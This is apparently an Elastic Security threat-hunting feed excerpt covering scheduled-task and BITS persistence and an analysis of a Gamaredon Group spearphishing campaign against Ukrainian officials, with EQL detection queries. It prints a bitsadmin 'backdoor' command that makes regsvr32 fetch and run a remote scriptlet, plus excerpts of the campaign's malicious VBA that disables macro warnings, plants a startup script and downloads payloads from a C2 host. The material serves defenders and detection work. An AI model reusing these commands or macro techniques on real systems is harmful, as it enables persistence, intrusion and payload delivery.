<p>With an understanding of the technique, observable artifacts, and common attributes of schtasks.exe execution, we're better prepared to succeed in our hunt for malicious scheduled task creation events. The EQL query in Figure 7 matches event sequences where the task scheduler process, schtasks.exe, is created by one of several commonly abused binaries and matches some of the command line parameters previously described. By uniquing on the command line, this allows us to focus our hunt on unique task creations and their properties.</p>
<p>This query matches behaviors described in our earlier APT34 example, in which schtasks.exe descended from wscript.exe. Windows script host (WSH) is a script interpreter and should generally not have many descendants. In this case, it indicates that WSH was used to interpret a JScript or VBScript object that directly or by proxy implemented a scheduled task using schtasks.exe. This EQL query can also be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time this activity occurs.</p>
<pre><code>process where subtype.create and
 process_name == "schtasks.exe" and
  descendant of
   [process where process_name in ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe",
    "wmic.exe", "mshta.exe","powershell.exe")] and
   command_line == "* /create*" and
   wildcard(command_line, "*/RU*", "*/SC*", "*/TN*", "*/TR*", "*/F*")
| unique command_line
</code></pre>
<p><em>Figure 7 - EQL query to search for the creation of schtasks.exe as a descendant of commonly abused processes</em></p>
<p>In <a href="https://www.elastic.co/siem">Elastic SIEM</a>, we can search for the use of the scheduled tasks utility and drag and drop fields of interest into the responsive Timeline (Figure 8) for further investigation. Data from multiple indices, or data sources, can be added to the <a href="https://www.elastic.co/guide/en/siem/guide/current/siem-ui-overview.html">Timeline</a> view, which enables analysts to organize leads and investigate complex threats. <a href="https://www.elastic.co/blog/elastic-stack-7-6-0-released">Version 7.6</a> introduced a detection engine that included 92 out-of-the-box rules for detection in Windows, Linux, network, and APM telemetry — as well as enabling users to create their own custom rules.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta09911903c7415d5/6a7d81d83cab1c2e920e1a14/Timeline2.gif" alt="Figure 8 - Using Timeline in Elastic SIEM to investigate schtasks.exe creation events" title="Figure 8 - Using Timeline in Elastic SIEM to investigate schtasks.exe creation events" /></p>
<h2 id="otherscheduledtaskconsiderations">Other scheduled task considerations</h2>
<p>Scheduled tasks may not seem sophisticated, but they are a great example of how hunters must understand the various ways that an adversary can schedule a task on a system. When shallowly monitoring a technique (i.e., only looking for use of schtasks.exe), a team can easily lull itself into a false sense of security. Understanding adversary tradecraft and having access to the relevant telemetry is crucial for successful threat hunting.</p>
<p>It’s important to note that there are many other ways scheduled tasks can be abused by adversaries, including offensive security tools, custom scripts, .job files, the AT command, and directly via the <a href="https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-reference">Task Scheduler API</a>. Elastic Security provides detections and preventions for various TTPs related to scheduled task abuse and provides API-level visibility.</p>
<p>In the next section, we’ll analyze BITS jobs, how they are used by attackers in the wild, and a variety of methods to identify or detect this technique.</p>
<h2 id="persistenceviabitsjobst1197">Persistence via BITS jobs (T1197)</h2>
<p>Windows <a href="https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal">Background Intelligent Transfer Service (BITS)</a> is a built-in framework used to transfer files to and from web and SMB servers. Microsoft provides a utility called bitsadmin.exe and PowerShell cmdlets for managing the transfer of files.</p>
<p>Microsoft uses BITS to download and install updates in the background — using idle bandwidth. For example, if a user starts a Windows Update and signs out of the computer, or if a network connection is lost, BITS will resume the download automatically as soon as it is able. The capability to survive reboots makes it an ideal tool for attackers to transfer malicious files and possibly large volumes of data the actor plans to steal. Threat groups like <a href="https://attack.mitre.org/groups/G0065/">APT40</a> and malware families such as the Qbot banking trojan have used BITS to transfer malicious files and set up persistence.</p>
<p>Figure 9 shows some <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">parameters</a> that can be used with bitsadmin.exe. We can identify interesting activity by focusing on creation and transfer command line options.</p>
<pre><code>/create - creates a transfer job with the given display name
/addfile - adds a file to the specified job
/resume - activates a new or suspended job in the transfer queue
/transfer - transfers one or more files
/SetNotifyCmdLine - sets the command that will run when the job finishes transferring data or when a job enters a state
/SetMinRetryDelay - sets the minimum length of time, in seconds, that BITS waits after encountering a transient error before trying to transfer the file
</code></pre>
<p><em>Figure 9 - Parameters that can be used with the Windows bitsadmin.exe utility</em></p>
<p>Figure 10 shows an example of how the above parameters can be used to create a BITS job. The below example from the <a href="https://github.com/3gstudent/bitsadminexec">bitsadminexec</a> project demonstrates how bitsadmin.exe can be used to execute the Squiblydoo technique, discovered by <a href="https://twitter.com/subTee">Casey Smith</a>. Squiblydoo utilizes regsvr32.exe to download an XML file that contains scriptlets for executing code on the victim machine. This <a href="https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct">sample</a> executes calc.exe, but it’s a good use case for how this could be used maliciously:</p>
<pre><code># create backdoor
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
</code></pre>
<p><em>Figure 10 - Example of using bitsadmin.exe to execute Squiblydoo</em></p>
<p>Since BITS <a href="https://docs.microsoft.com/en-us/windows/win32/bits/what-s-new">version 4.0</a> (standard in Windows Server 2008 R2 and Windows 7), PowerShell cmdlets can also be used to create and manage file transfer jobs. The PowerShell <a href="https://docs.microsoft.com/en-us/windows/win32/bits/bits-powershell-commands">cmdlets</a> for BITS provide much of the same functionality as the bitsadmin.exe command line utility, a subset of which are depicted in Figure 11:</p>
<pre><code>Add-BitsFile - add one or more files to a BITS transfer
Resume-BitsTransfer - resumes a suspended BITS transfer job
Set-BitsTransfer - modifies the properties of a BITS transfer job
Start-BitsTransfer - create and start a BITS transfer job
</code></pre>
<p><em>Figure 11 - Common PowerShell cmdlets for BITS</em></p>
<p>A good cmdlet to monitor is Start-BitsTransfer. The local and remote names of the file are specified in the Source and Destination parameters. This can be depicted as seen in Figure 12. As stated previously, analysts should monitor suspicious script block logging events, Event ID 4104, in the Microsoft-Windows-PowerShell/Operational log.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbec5684a9c1c9e2d/6a7d81db5967e5afcb5da559/adversary-tradecraft-101-part-2-image3.jpg" alt="Figure 12 - PowerShell scriptblock event from Microsoft-Windows-PowerShell/Operational log" title="Figure 12 - PowerShell scriptblock event from Microsoft-Windows-PowerShell/Operational log" /></p>
<h2 id="huntingformaliciousbitsjobs">Hunting for malicious BITS jobs</h2>
<p>The EQL query in Figure 13 demonstrates some of the command line arguments you might see while hunting for malicious use of bitsadmin.exe. The query searches for a process creation event for the bitsadmin.exe binary and the common command line parameters associated with the creation or transfer of a BITS job, and returns unique results based on the command line value. Focusing on unique results while hunting allows us to narrow our focus and more easily spot anomalous activity.</p>
<pre><code>process where subtype.create and
  process_name == "bitsadmin.exe" and
  wildcard(command_line, "*Transfer*", "*Create*", "*AddFile*", "*SetNotifyCmdLine*",
                        "*SetMinRetryDelay*", "*Resume*")
| unique command_line
</code></pre>
<p><em>Figure 13 - EQL query looking for common bitsadmin.exe command line parameters</em></p>
<p>Additionally, during rule creation, you have the option to enable a "Reflex Response." With “Reflex Response,” if such behavior defined in a custom rule is detected, it uses Endpoint Security’s unique telemetry-gathering and enrichment to execute an automated response before damage and loss can occur (Figure 14). This functionality enables analysts to take action to stop the malicious behavior and then investigate the events that led up to and occurred after the threat, as opposed to investigating a current threat that may be past the point of remediation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcebda3104656f4b8/6a7d81dee88c65f291008990/adversary-tradecraft-101-part-2-image4.jpg" alt="Figure 14 - Reflex Response in Elastic Endpoint Security" title="Figure 14 - Reflex Response in Elastic Endpoint Security" /></p>
<p>Executing an EQL hunt in the Endpoint Security product using the EQL query from above can lead to finding real-world campaigns like Qbot, shown in Figure 15.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt81b2e1ab3346fd04/6a7d81e1e02fac388c5d352e/adversary-tradecraft-101-part-2-image5.png" alt="Figure 15 - Results of EQL hunt in Elastic Endpoint Security" title="Figure 15 - Results of EQL hunt in Elastic Endpoint Security" /></p>
<h2 id="realworldexampleqbotmalware">Real-world example: Qbot malware</h2>
<p>QBot is a widely distributed banking Trojan that is capable of self-replication and has historically relied on PowerShell. Recently, however, it may have been <a href="https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/">abandoned</a> in favor of bitsadmin.exe — an application unlikely to be scrutinized as aggressively.</p>
<p>This variant utilizes a .vbs dropper by masquerading as a .doc file, as Windows still hides the original filename extension by default. Upon execution, in this case via the parent process wscript.exe, the malware spawns bitsadmin.exe to create a transfer job that downloads a subsequent payload, shown in the Timeline view in the SIEM app (Figure 16).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3fa3a5de75cedf56/6a7d81e405b7b543de188b64/adversary-tradecraft-101-part-2-image6.png" alt="Figure 16 - Process arguments from Qbot banking malware shown in the Elastic SIEM" title="Figure 16 - Process arguments from Qbot banking malware shown in the Elastic SIEM" /></p>
<p>Analyzing the process.args field values as depicted in Figure 17 reveals that the malware takes the following actions:</p>
<ul>
<li>Creates a randomly named transfer job with high priority</li>
<li>Uses bitsadmin.exe to download its second stage payload from a command &amp; control (C2) server (Note that widgetcontrol.png is actually a Windows executable)</li>
<li>Base64 encodes data on the endpoint’s operating system version and antivirus software, which it passes back to C2 in the beacon URI</li>
<li>Randomizes the name of the payload and writes it to a subfolder of the %AppData% path</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt502b6fd596a5b2b4/6a7d81e6de2315ff31fd4e4c/adversary-tradecraft-101-part-2-image7.png" alt="Figure 17 - Analysis of process arguments from Qbot banking malware" title="Figure 17 - Analysis of process arguments from Qbot banking malware" /></p>
<p>This example showcases how bitsadmin.exe can be used by threat actors to attempt to bypass traditional defenses by using a less common, built-in utility. This application is effectively used by threat actors for transferring files and maintaining a presence in a victim environment.</p>
<h2 id="othersbitsandpieces">Others BITS and pieces</h2>
<p>The Microsoft_Windows_Bits_Cient Operational.evtx log file is a native Microsoft event log. It records every operation executed by the BITS client, either via bitsadmin.exe or PowerShell. Within that log store, Event ID 3 is used when The BITS service creates a new job. <a href="https://www.elastic.co/downloads/beats/winlogbeat">Winlogbeat</a> can be configured to monitor that event.provider as shown in Figure 18. Elastic Security provides telemetry, detections, and threat hunting capabilities for BITS abuse at enterprise scale.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4f7177a88d8415a5/6a7d81e94c4bfb9e5ccca863/adversary-tradecraft-101-part-2-image8.png" alt="Figure 18 - Microsoft-Windows-Bit-Client event from Winlogbeat" title="Figure 18 - Microsoft-Windows-Bit-Client event from Winlogbeat" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>In this blog series, we examined popular techniques that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.</p>
<p>Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM — along with the protections provided out of the box — lower the barriers to entry for analysts, provides detailed visibility into endpoint activity, and enables organizations to prevent, detect, and respond to malicious behavior at scale.</p>
<p>Try <a href="https://www.elastic.co/security/siem">Elastic SIEM</a> for free today. To learn more about threat hunting, download a free copy of <a href="https://ela.st/threat-hunting">The Elastic Guide to Threat Hunting</a>.</p>
<p>View our webinar on <a href="https://www.elastic.co/webinars/hunting-for-persistence-using-elastic-security">Hunting for persistence using Elastic Security</a>.</p>
<p>Plus, <a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>!</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-for-persistence-using-elastic-security-part-2</link>
    <guid isPermaLink="false">hunting-for-persistence-using-elastic-security-part-2</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Brent Murphy,David French,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4070d2cb2ce0318c/6a7d81ec5967e5d2b55da55f/blog-thumb-shattered-lock.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Playing defense against Gamaredon Group]]></title>
    <description><![CDATA[Learn about the recent campaign of a Russia-based threat group known as Gamaredon Group.  This post will review these details and provide detection strategies.]]></description>
    <content:encoded><![CDATA[<p>For several months, the Intelligence &amp; Analytics team at Elastic Security has tracked an ongoing adversary campaign appearing to target Ukranian government officials. Based on our monitoring, we believe <a href="https://attack.mitre.org/groups/G0047/">Gamaredon Group</a>, a suspected Russia-based threat group, is behind this campaign. Our observations suggest a significant overlap between tactics, techniques, and procedures (TTPs) included within this campaign and <a href="https://www.anomali.com/resources/whitepapers/malicious-activity-aligning-with-gamaredon-ttps-targets-ukraine">public reporting</a><sup>1</sup>.</p>
<p>This campaign has produced and deployed updated lures on a near-daily basis that appear to target multiple Ukrainian government departments. With this high operational tempo and aggressive targeting, they consistently employ a cluster of initial access techniques and procedures. Over the past four months, these techniques have consisted of spearphishing, remote document template injection, startup folder persistence, VBA/VBScript languages, and Dynamic DNS command &amp; control infrastructure.</p>
<p>In this post, we’ll walk through the campaign details, reviewing the implementation while also providing solutions such as detection strategies through the use of Elastic’s <a href="https://www.elastic.co/blog/introducing-event-query-language">Event Query Language (EQL)</a>.</p>
<h2 id="campaigndetails">Campaign Details</h2>
<p>The earliest identified <a href="https://www.virustotal.com/gui/domain/libre-templates.ddns.net/details">infrastructure</a> indicates this campaign has been active since August 2019. The first <a href="https://www.virustotal.com/gui/file/481eee236eadf6c947857820d3af5a397caeb8c45791f0bbdd8a21f080786e75/details">sample</a> leveraging this domain was submitted to VirusTotal in early September 2019. Spearphishing emails like the example in Figure 1 (below) were used to deliver a malicious attachment and demonstrate Gamaredon Group’s attempt to impersonate an anti-corruption activist. This example targeted the National Security and Defense Council of Ukraine and dates to January 17, 2020.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt58131cfb2964d2e3/6a7c918405b7b5ec57185d4d/email_redact1.png" alt="" /></p>
<p><em>Figure 1 - Spearphishing email sent to National Security and Defense Council of Ukraine</em></p>
<p>A typical lure document might masquerade as an information request to the Ministry of Foreign Affairs of Ukraine. These manufactured lures included official logos stolen from governmental offices of Ukraine and impersonated diplomats known to their targets.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf3863ee837667220/6a7c91875967e5081d5d7801/lure1.png" alt="" /></p>
<p><em>Figure 2 - Lure document - Ministry of Foreign Affairs in Ukraine request</em></p>
<p>To improve their chances of success, they customize the request around the same date of the campaign and include urgent requests for action. These efforts are indicative of necessity.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta4304cd99313f408/6a7c918ac33f4f50ded54d52/lure2.jpg" alt="" /></p>
<p><em>Figure 3 - Lure document - Information request related to NSDC Head of Ukraine</em></p>
<p>Often, the call to action first required the victim to open an attached lure document. A user who attempted to open one of these malicious attachments would see a perfectly convincing decoy document, while a sequence of invisible actions occurred behind the screen. These documents end up leveraging a technique known as <a href="https://attack.mitre.org/techniques/T1221/">template injection</a>, a method of loading remotely hosted Microsoft Word document templates.</p>
<p>Microsoft Word objects function similarly to compressed archives and have properties defined using Microsoft’s Open Office XML (OOXML) format. Within the decompressed word/_rels/ subdirectory, the file settings.xml.rels contained a network location where a remotely hosted template was retrieved as depicted in Figure 4.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt85cd4eaaef0fdc06/6a7c918c42a1179e439563df/template1.jpg" alt="" /></p>
<p><em>Figure 4 - Excerpt from Settings.xml.rels</em></p>
<p>Each external URL within these lures were configured to point to Dynamic DNS providers (ddns.net, hopto.org). Dynamic DNS provides automation around updating a name server in the Domain Name System (DNS). By adopting this technique, this shows the adversary’s attempt to mask their ownership and obscure atomic indicator associations through the use of transient infrastructures, such as Dynamic DNS.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0deaff8112d75b20/6a7c918fb4377019f44d12da/template_download.jpg" alt="" /></p>
<p><em>Figure 5 - Word startup screen showing download of remote document template</em></p>
<p>The remote templates are macro-enabled, configured to execute VBA macro code that persists a VBScript object in the victim’s startup folder as a foothold. We assess the objective of this initial code is used to identify the victim and to protect the second-stage payload that is intended only for their targeted victims. In the next sections, we will review the document’s metadata and macro code found in a recent <a href="https://www.virustotal.com/gui/file/feb0596e9735e03ae929d9b5ee862da19e16e5cdf57dd2a795205e591a55940f/details">sample</a>.</p>
<h2 id="documentmetadataanalysis">Document metadata analysis</h2>
<p>In malicious campaigns, infrastructure is commonly created for specific targets. This serves multiple purposes, but frequently it’s done to track implants and frustrate automated research and analysis. As analysts, this gives us some insight into the adversaries’ maturity, experience, and resources. As an example, an adversary who reuses lure documents or templates may be less experienced, not interested in high-value targets, or using monetized infrastructure from previous campaigns.</p>
<p>Analyzing the metadata from the lure document and template allows us to see when these weaponized documents were created, as well as identify any associations between different elements of the campaign.</p>
<p>As we can see in Figure 6, the lure document was created on December 24, 2019 by the Author “ШУРИК”. In Figure 7, we can see that the Author is the same as observed in the lure document (ШУРИК). Additionally, we can see that the remote template was created on December 12, 2019 and then modified on December 24, 2019. There were 5 modifications to it, indicating that it has been used for 5 campaigns in 12 days — or about 2.5 days per campaign. With moderate confidence, this tells us that the remote template is likely reused and updated with new macros for new campaigns, and that they were created by the same Author (or at a minimum, the same instance of Microsoft Word).</p>
<p>As an analyst note, we see different tool markings that indicate this was created by a Russian speaker (Russian Author, Russian Language Code, Cyrillic character set, and the usage of Reanimator Extreme Edition). While we can use those as information to help inform overall analysis, this information can be seeded — so it doesn’t prove anything definitively on its own. In this case, this aligns with other open source analysis linking this to the Gamaredon Group, which is believed to be Russian in origin.</p>
<p>|                        |                                                                         |
| ---------------------- | ----------------------------------------------------------------------- |
| File Size              | 46 kB                                                                   |
| File Type Extension    | docx                                                                    |
| MIME Type              | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| Last Modified By       | ШУРИК                                                                   |
| Revision Number        | 2                                                                       |
| Create Date            | 2019:12:24 15:58:00Z                                                    |
| Modify Date            | 2019:12:24 16:10:00Z                                                    |
| Template               | pos.dot                                                                 |
| Total Edit Time        | 2 minutes                                                               |
| Pages                  | 1                                                                       |
| Words                  | 195                                                                     |
| Characters             | 1114                                                                    |
| Application            | Microsoft Office Word                                                   |
| Lines                  | 9                                                                       |
| Paragraphs             | 2                                                                       |
| Company                | Reanimator Extreme Edition                                              |
| Characters With Spaces | 1307                                                                    |</p>
<p><em>Figure 6 - Metadata from the lure document (truncated for length)</em></p>
<p>|                        |                            |
| ---------------------- | -------------------------- |
| File Size              | 44 kB                      |
| File Type Extension    | doc                        |
| MIME Type              | application/msword         |
| Language Code          | Russian                    |
| Author                 | ШУРИК                      |
| Template               | pos.dot                    |
| Last Modified By       | ШУРИК                      |
| Software               | Microsoft Office Word      |
| Create Date            | 2019:12:12 11:48:00        |
| Modify Date            | 2019:12:24 10:30:00        |
| Code Page              | Windows Cyrillic           |
| Company                | Reanimator Extreme Edition |
| Char Count With Spaces | 0                          |
| Revision Number        | 5                          |
| Total Edit Time        | 0                          |
| Words                  | 0                          |
| Characters             | 0                          |
| Pages                  | 1                          |
| Paragraphs             | 1                          |
| Lines                  | 1                          |</p>
<p><em>Figure 7 - Metadata from the remote template (truncated for length)</em></p>
<p>While we cannot state with any authority, searching for the Author “ШУРИК” has identified similar TTPs (lure documents with remote template injection) as far back as September of 2019.</p>
<h2 id="macrocodeanalysis">Macro code analysis</h2>
<p>The macro code was obfuscated using string concatenation and procedurally generated variables — techniques that are often used to bypass static detection technologies. Upon execution, this code provides reverse shell functionality that allows an adversary access to the victim’s system and capability to access shared resources on their local network. Figure 8 contains an excerpt of the macro that depicts the creation of a reverse shell and some of the system information collected automatically.</p>
<pre><code>Dim NoARzTHy
NoARzTHy = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
Set PWFJWatF = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")
Dim pbuvwTLK, JzESywut
Set GGZucIZE = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")
pbuvwTLK = GGZucIZE.Drives(Environ("Syst" + "emDri" + "ve")).SerialNumber
OYTgBXAP = PWFJWatF.ComputerName
</code></pre>
<p><em>Figure 8 - First 7 lines of macro code from the loaded document template</em></p>
<p>Figure 9 shows an excerpt of the same code removing the concatenation.</p>
<pre><code>Dim NoARzTHy
NoARzTHy = "Set WShell=CreateObject("WScript.Shell")"
Set PWFJWatF = CreateObject("WScript.Network")
Dim pbuvwTLK, JzESywut
Set GGZucIZE = CreateObject("Scripting.FileSystemObject")
pbuvwTLK = GGZucIZE.Drives(Environ("SystemDrive")).SerialNumber
OYTgBXAP = PWFJWatF.ComputerName
</code></pre>
<p><em>Figure 9 - First 7 lines of macro code - Removal of concatenation</em></p>
<p>The serial number and hostname of the victim's computer are some of the first pieces of information the VBA collects. They are converted to hexadecimal and included in the reverse shell HTTP request to identify both the implant and the victim. Figure 10 shows off the configuration of the URI request within the macro and Figure 11 represents an example URI.</p>
<pre><code>JzESywut = "h" + "tt" + "p:" + "//l" + "ibcr" + "ash.dd" + "ns.ne" + "t/" &amp; OYTgBXAP &amp; "_" &amp; HFzesifc &amp; "//po" + "sol" + "re" + "boo" + "t.ph" + "p"
</code></pre>
<p><em>Figure 10 - URI request configuration - Macro</em></p>
<pre><code>JzESywut = hxxp://libcrash.ddns[.]net/ENDPOINT1_96L02G3D//posolreboot.php
</code></pre>
<p><em>Figure 11 - URI request configuration - Example</em></p>
<p>By default, Microsoft disables external or untrusted macros by setting key values in the registry at HKCU\Software\Microsoft\Office(VERSION)\Word\Security. The first registry modification made by this macro changes the key value of AccessVBOM to 1, effectively bypassing the default setting to enable external or untrusted macros. The second registry modification enables all macros automatically and disables warnings for future macro-enabled objects. Figure 12 represents the macro code for these registry modifications.</p>
<pre><code>FEDzCjgi$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" &amp; Application.Version &amp; _"\Word\Security\"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ &amp; "AccessVBOM", 1, "REG_DWORD"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ &amp; "VBAWarnings", 1, "REG_DWORD"
</code></pre>
<p><em>Figure 12 - Registry modifications found in macro</em></p>
<p>The remaining lines of code end up writing a VBScript file and placing it in the user’s startup directory. Figure 13 contains an excerpt of the beginning lines of macro code where the VBScript (security.vbs) is written to disk and placed in the startup folder.</p>
<pre><code>Dim LISPVdZd As Object
Set LISPVdZd = GGZucIZE.CreateTextFile(FESHWDaD + "\Mi" + "croso" + "ft\Wi" + "ndow" + "s\St" + "art Men" + "u\Pro" + "grams\Sta" + "rtup\secur" + "ity.v" + "b" + "s", True, True)
</code></pre>
<p><em>Figure 13 - Macro code writing VBScript file (security.vbs)</em></p>
<p>Upon rebooting or successfully authenticating to an infected system, the persistent VBScript file is automatically executed and a standard HTTP GET is made with the previously observed URI (Figure 14). If the request is successful, the response body gets stored into another variable. This functionality appears to serve as a downloader that has specific subroutine instructions for reassembling a binary on disk. Figure 14 contains an excerpt of the function used to construct the HTTP GET request.</p>
<pre><code>Function TOGeMFBD(iWotBBKf)
On Error Resume Next
Set EXJJrRlN = CreateObject("MSXML2.XMLHTTP")
With EXJJrRlN
.Open "GET", iWotBBKf, False
.send
End With
If EXJJrRlN.Status = 200 Then
TOGeMFBD = EXJJrRlN.ResponseBody
End If
End Function
</code></pre>
<p><em>Figure 14 - GET request (security.vbs)</em></p>
<p>During dynamic analysis, analysts identified that the script enters a loop while sending the request. A 0-byte file is created under the infected user’s roaming profile with a procedurally generated file name and text file extension. The file is iteratively written and deleted without the contents changing.</p>
<p>Analysts have not confirmed the purpose of this file, and suspect it is used to reassemble a segmented later-stage implant. Potential reasons to obfuscate this process include evading detection and response solutions.</p>
<h2 id="pteranodonupdate">Pteranodon update</h2>
<p>While doing this research, we observed samples and artifacts that appear to be related to an updated version of the Gamaredon Group’s custom backdoor, known as <a href="https://attack.mitre.org/software/S0147/">Pteranodon</a>. Although we don’t have substantial evidence that Pteranodon is the final payload victims are infected with during this campaign, we assess with moderate confidence that this activity is linked to Gamaredon Group.</p>
<p>Three PE samples were uploaded to VirusTotal last month with each dropping two text files (<a href="https://www.virustotal.com/gui/file/c4089686965df5e52105b6eac06703aa11c4891695278446370f623d531b505e/details">ExcelMyMacros.vba</a>, <a href="https://www.virustotal.com/gui/file/02e6e2bfaaf6e77cfaccadaf26167135c53cf2c934d17c5a83e5bbcadd85b47d/details">wordMacros.vba</a>). The two text files share several similarities to the VBA macro code found in the remote templates used in this campaign — specifically, the methods of retrieving and hex-encoding the serial number and similar subroutine logic. Figure 15 depicts the VBA macro code from the remote template on the left and the dropped VBA macro code from a known Pteranodon implant on the right.</p>
<p><strong>VBA from Campaign</strong></p>
<pre><code>For LfJesrvH = 0 To UBound( IvAPFGDD )" + vbCrLf
LISPVdZd.Write "IvAPFGDD(LfJesrvH) = Asc( Mid( EaCJFwPc, LfJesrvH + 1, 1 ) )" + vbCrLf
LISPVdZd.Write "Next" + vbCrLf
LISPVdZd.Write "GetFEDzCjgi = IvAPFGDD" + vbCrLf
</code></pre>
<p><strong>VBA from Pteranodon</strong></p>
<pre><code>For i = 0 To UBound( asrrCodes )" + vbCrLf
NewVDJKpCBSFile.Write " asrrCodes(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )" + vbCrLf
NewVDJKpCBSFile.Write " Next" + vbCrLf
NewVDJKpCBSFile.Write " GetKey = asrrCodes" + vbCrLf
</code></pre>
<p><em>Figure 15 - Macro comparison - VBA from Campaign (top) vs VBA from Pteranodon (bottom)</em></p>
<p>Both text files contained VBA, and had the same functionality for disabling macro warnings, creating a persistent VBScript in the startup folder and establishing connections to C2. What’s interesting with the dropped text files (VBA), is that they show the true variable names used by the developers before their tooling obfuscates the variables. At the time of this writing, each of the four C2 servers (see attached indicators) affiliated with Pteranodon samples were currently active and hosted a network allocated to ASN9123 (TIMEWEB LTD). Macro code associated with the Gamaredon Group campaign targeting Ukraninan officials called back to C2 hosted in the same network.</p>
<p>An interesting change in some of these artifacts appears to be the adoption of .NET. Along with the two text files containing VBA code, there are three dropped DLL’s (Microsoft.Office.Interop.Excel.dll, Microsoft.Office.Interop.Word.dll, Microsoft.Vbe.Interop.dll) and a .NET <a href="https://www.virustotal.com/gui/file/145a61a14ec6d32b105a6279cd943317b41f1d27f21ac64df61bcdd464868edd/details">sample</a> showing dependencies with these files. Figure 16 shows a hex-encoded reference to one of the VBA files (wordMacros.txt). Based on these observations, it’s intriguing to see Gamaredon Group continue to leverage core functionality of their VBA stager code, but in a new method of execution by using .NET</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt91ef96df2f0e4dc2/6a7c9192e3a219c10b999a27/dotnet_reference.jpg" alt="" /></p>
<p><em>Figure 16 - .NET reference to “wordMacros.txt”</em></p>
<h2 id="detectioncrafting">Detection crafting</h2>
<p>For organizations interested in detecting TTPs discussed in this blog post, detection logic has been provided for the following categories:</p>
<h3 id="dynamicdns">Dynamic DNS</h3>
<p><a href="https://attack.mitre.org/techniques/T1311/">Dynamic DNS</a> enables adversaries to rapidly provision very large numbers of records that map back to their infrastructure, creating a confusion layer between victims and adversaries. Gamaredon Group exclusively used Dynamic DNS locations for remotely hosted templates, rotating domains consistently, and leveraging separate infrastructure for hosting stagers and templates.</p>
<p>Profiling Dynamic DNS for your enterprise is an amazing way to get started hunting — not just to baseline and build environmental awareness, but also to outright find evil. We will primarily focus on the two Dynamic DNS providers observed in relation to this campaign. If you need inspiration, consider counting up all non-browser processes that made a DNS request to one of these Dynamic DNS providers as shown in Figure 17.</p>
<pre><code>dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net") and
process_name not in ("chrome.exe","iexplore.exe", "firefox.exe")
| count process_name, query_name
</code></pre>
<p><em>Figure 17 - EQL Query - Count of non-browser process to dynamic DNS providers</em></p>
<p>Another option examines the processes that most frequently communicate with these providers, and may provide more context regarding how dynamic DNS is used in your environment, or enable an analyst to find signs of other malicious activity.</p>
<pre><code>network where event of
[dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net")
| count process_name, total_in_bytes, total_out_bytes
</code></pre>
<p><em>Figure 18 - EQL query - Network traffic of processes to dynamic DNS providers</em></p>
<h3 id="templateinjection">Template Injection</h3>
<p>Spearphishing attachments that utilize <a href="https://attack.mitre.org/techniques/T1221/">template injection</a> may bypass security controls because they contain no embedded VBA code. The attached document retrieves a remotely hosted template where the malicious VBA code resides. In order to detect this activity dynamically, analyze DNS and network traffic over common protocols (HTTP/HTTPS/SMB) and processes generated by Microsoft Office applications. Enterprise defenders may need to whitelist any legitimate use of remotely hosted templates, or any benign network activity to Microsoft infrastructure. Below is an example EQL query focused on new process creation events from Office products that also made DNS requests outside our whitelist.</p>
<pre><code>sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[dns where not wildcard(query_name , "*.microsoft.com", "*.skype.com")]
</code></pre>
<p><em>Figure 19 - EQL query - DNS traffic from Office applications</em></p>
